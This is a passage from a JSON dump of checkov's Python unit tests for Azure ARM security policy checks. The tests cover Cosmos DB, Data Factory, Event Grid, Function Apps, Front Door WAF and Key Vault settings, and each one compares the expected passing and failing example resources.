    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.CosmosDBDisablesPublicNetwork import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCosmosDBDisablesPublicNetwork(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CosmosDBDisablesPublicNetwork\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DocumentDB/databaseAccounts.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.DocumentDB/databaseAccounts.fail\",\n            \"Microsoft.DocumentDB/databaseAccounts.fail2\",\n            \"Microsoft.DocumentDB/databaseAccounts.fail3\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_CosmosDBHaveCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.CosmosDBHaveCMK import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCosmosDBHaveCMK(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CosmosDBHaveCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DocumentDb/databaseAccounts.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.DocumentDb/databaseAccounts.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_CosmosDBLocalAuthDisabled.py",
    "content": "import os\nimport unittest\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.CosmosDBLocalAuthDisabled import check\n\n\nclass TestCosmosDBLocalAuthDisabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_CosmosDBLocalAuthDisabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.DocumentDB/databaseAccounts.pass'\n        }\n        failing_resources = {\n            'Microsoft.DocumentDB/databaseAccounts.fail',\n            'Microsoft.DocumentDB/databaseAccounts.fail1'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_CustomRoleDefinitionSubscriptionOwner.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.CustomRoleDefinitionSubscriptionOwner import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCustomRoleDefinitionSubscriptionOwner(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CustomRoleDefinitionSubscriptionOwner\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_DataExplorerUsesDiskEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.DataExplorerUsesDiskEncryption import check\nfrom checkov.arm.runner import Runner\n\n\nclass TestDataExplorerUsesDiskEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_DataExplorerUsesDiskEncryption\"\n\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Kusto/clusters.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Kusto/clusters.fail\",\n\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_DataFactoryNoPublicNetworkAccess.py",
    "content": "import unittest\nfrom pathlib import Path\nfrom checkov.arm.checks.resource.DataFactoryNoPublicNetworkAccess import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDataFactoryNoPublicNetworkAccess(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DataFactoryNoPublicNetworkAccess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DataFactory/factories.pass\",\n        }\n        print(\"\\n\",passing_resources)\n        failing_resources = {\n            \"Microsoft.DataFactory/factories.fail1\",\n            \"Microsoft.DataFactory/factories.fail2\",\n        }\n        print(\"\\n\",summary)\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n        print(\"\\n\",passed_check_resources)\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_DataFactoryUsesGitRepository.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.DataFactoryUsesGitRepository import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDataFactoryUsesGitRepository(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DataFactoryUsesGitRepository\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DataFactory/factories.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.DataFactory/factories.fail\",\n            \"Microsoft.DataFactory/factories.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\n"
  },
  {
    "path": "tests/arm/checks/resource/test_DataLakeStoreEncryption.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.DataLakeStoreEncryption import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDataLakeStoreEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DataLakeStoreEncryption\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DataLakeStore/accounts.pass\",\n            \"Microsoft.DataLakeStore/accounts.pass2\",\n        }\n        failing_resources = {\n            \"Microsoft.DataLakeStore/accounts.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_DatabricksWorkspaceDataPlaneToControlPlaneCommunicateOverPrivateLink.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.DatabricksWorkspaceIsNotPublic import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDatabricksWorkspaceIsNotPublic(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DatabricksWorkspaceIsNotPublic\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_EventHubNamespaceMinTLS12.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.EventHubNamespaceMinTLS12 import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEventHubNamespaceMinTLS12(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EventHubNamespaceMinTLS12\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.EventHub/namespaces.pass\",\n            \"Microsoft.EventHub/namespaces.pass2\",\n        }\n        failing_resources = {\n            \"Microsoft.EventHub/namespaces.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_EventgridTopicIdentityProviderEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.EventgridTopicIdentityProviderEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEventgridTopicIdentityProviderEnabled(unittest.TestCase):\n    def test_summery(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EventgridTopicIdentityProviderEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.EventGrid/topics.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.EventGrid/topics.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_EventgridTopicLocalAuthentication.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.EventgridTopicLocalAuthentication import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEventgridTopicLocalAuthentication(unittest.TestCase):\n    def test_summery(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EventgridTopicLocalAuthentication\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.EventGrid/topics.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.EventGrid/topics.fail\",\n            \"Microsoft.EventGrid/topics.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_EventgridTopicNetworkAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.EventgridTopicNetworkAccess import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEventgridTopicNetworkAccess(unittest.TestCase):\n    def test_summery(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EventgridTopicNetworkAccess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.EventGrid/topics.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.EventGrid/topics.fail\",\n            \"Microsoft.EventGrid/topics.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_FrontDoorWAFACLCVE202144228.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.FrontDoorWAFACLCVE202144228 import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestFrontDoorWAFACLCVE202144228(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_FrontDoorWAFACLCVE202144228\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies.pass1\",\n            \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies.pass2\",\n            \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies.pass3\",\n            \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies.pass4\",\n        }\n        failing_resources = {\n            \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies.fail1\",\n            \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies.fail3\",\n            \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies.fail4\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_FrontdoorUseWAFMode.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.FrontdoorUseWAFMode import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestFrontdoorUseWAFMode(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_FrontdoorUseWAFMode\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Network/FrontDoorWebApplicationFirewallPolicies.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Network/FrontDoorWebApplicationFirewallPolicies.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_FunctionAppDisallowCORS.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.FunctionAppDisallowCORS import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestFunctionAppDisallowCORS(unittest.TestCase):\n\n    def test_summery(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_FunctionAppDisallowCORS\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites.pass_with_cors\",\n            \"Microsoft.Web/sites.pass\",\n        }\n\n        failing_resources = {\n            \"Microsoft.Web/sites.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/arm/checks/resource/test_FunctionAppHttpVersionLatest.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.FunctionAppHttpVersionLatest import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestFunctionAppHttpVersionLatest(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_FunctionAppHttpVersionLatest\"\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites/slots.pass\",\n            \"Microsoft.Web/sites.pass2\",\n\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites/slots.fail\",\n            \"Microsoft.Web/sites.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n"
  },
  {
    "path": "tests/arm/checks/resource/test_FunctionAppMinTLSVersion.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.FunctionAppMinTLSVersion import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestFunctionAppMinTLSVersion(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_FunctionAppMinTLSVersion\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites.pass\",\n            \"Microsoft.Web/sites.pass2\",\n            \"Microsoft.Web/sites/slots.pass3\",\n            \"Microsoft.Web/sites/slots.pass4\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites.fail\",\n            \"Microsoft.Web/sites/slots.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_FunctionAppsAccessibleOverHttps.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.FunctionAppsAccessibleOverHttps import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestFunctionAppsAccessibleOverHttps(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_FunctionAppsAccessibleOverHttps\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites/config.sites_config_pass\",\n            \"Microsoft.Web/sites/config.sites_config_pass1\",\n            \"Microsoft.Web/sites/slots.sites_pass\",\n            \"Microsoft.Web/sites.sites_pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites/config.sites_config_fail\",\n            \"Microsoft.Web/sites/slots.sites_fail\",\n            \"Microsoft.Web/sites.sites_fail\",\n            \"Microsoft.Web/sites/slots.sites_fail1\",\n            \"Microsoft.Web/sites.sites_fail1\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_FunctionAppsEnableAuthentication.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.FunctionAppsEnableAuthentication import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestFunctionAppsEnableAuthentication(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_FunctionAppsEnableAuthentication\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites/config.pass\",\n            \"Microsoft.Web/sites/config.authsettingsV2\"\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites/config.authsettingsV2\",\n            \"Microsoft.Web/sites/config.authsettingsV2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)"
  },
  {
    "path": "tests/arm/checks/resource/test_KeyBackedByHSM.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.KeyBackedByHSM import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKeyBackedByHSM(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KeyBackedByHSM\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.KeyVault/vaults/keys.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.KeyVault/vaults/keys.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_KeyExpirationDate.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.KeyExpirationDate import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKeyExpirationDate(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KeyExpirationDate\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.KeyVault/vaults/keys.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.KeyVault/vaults/keys.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        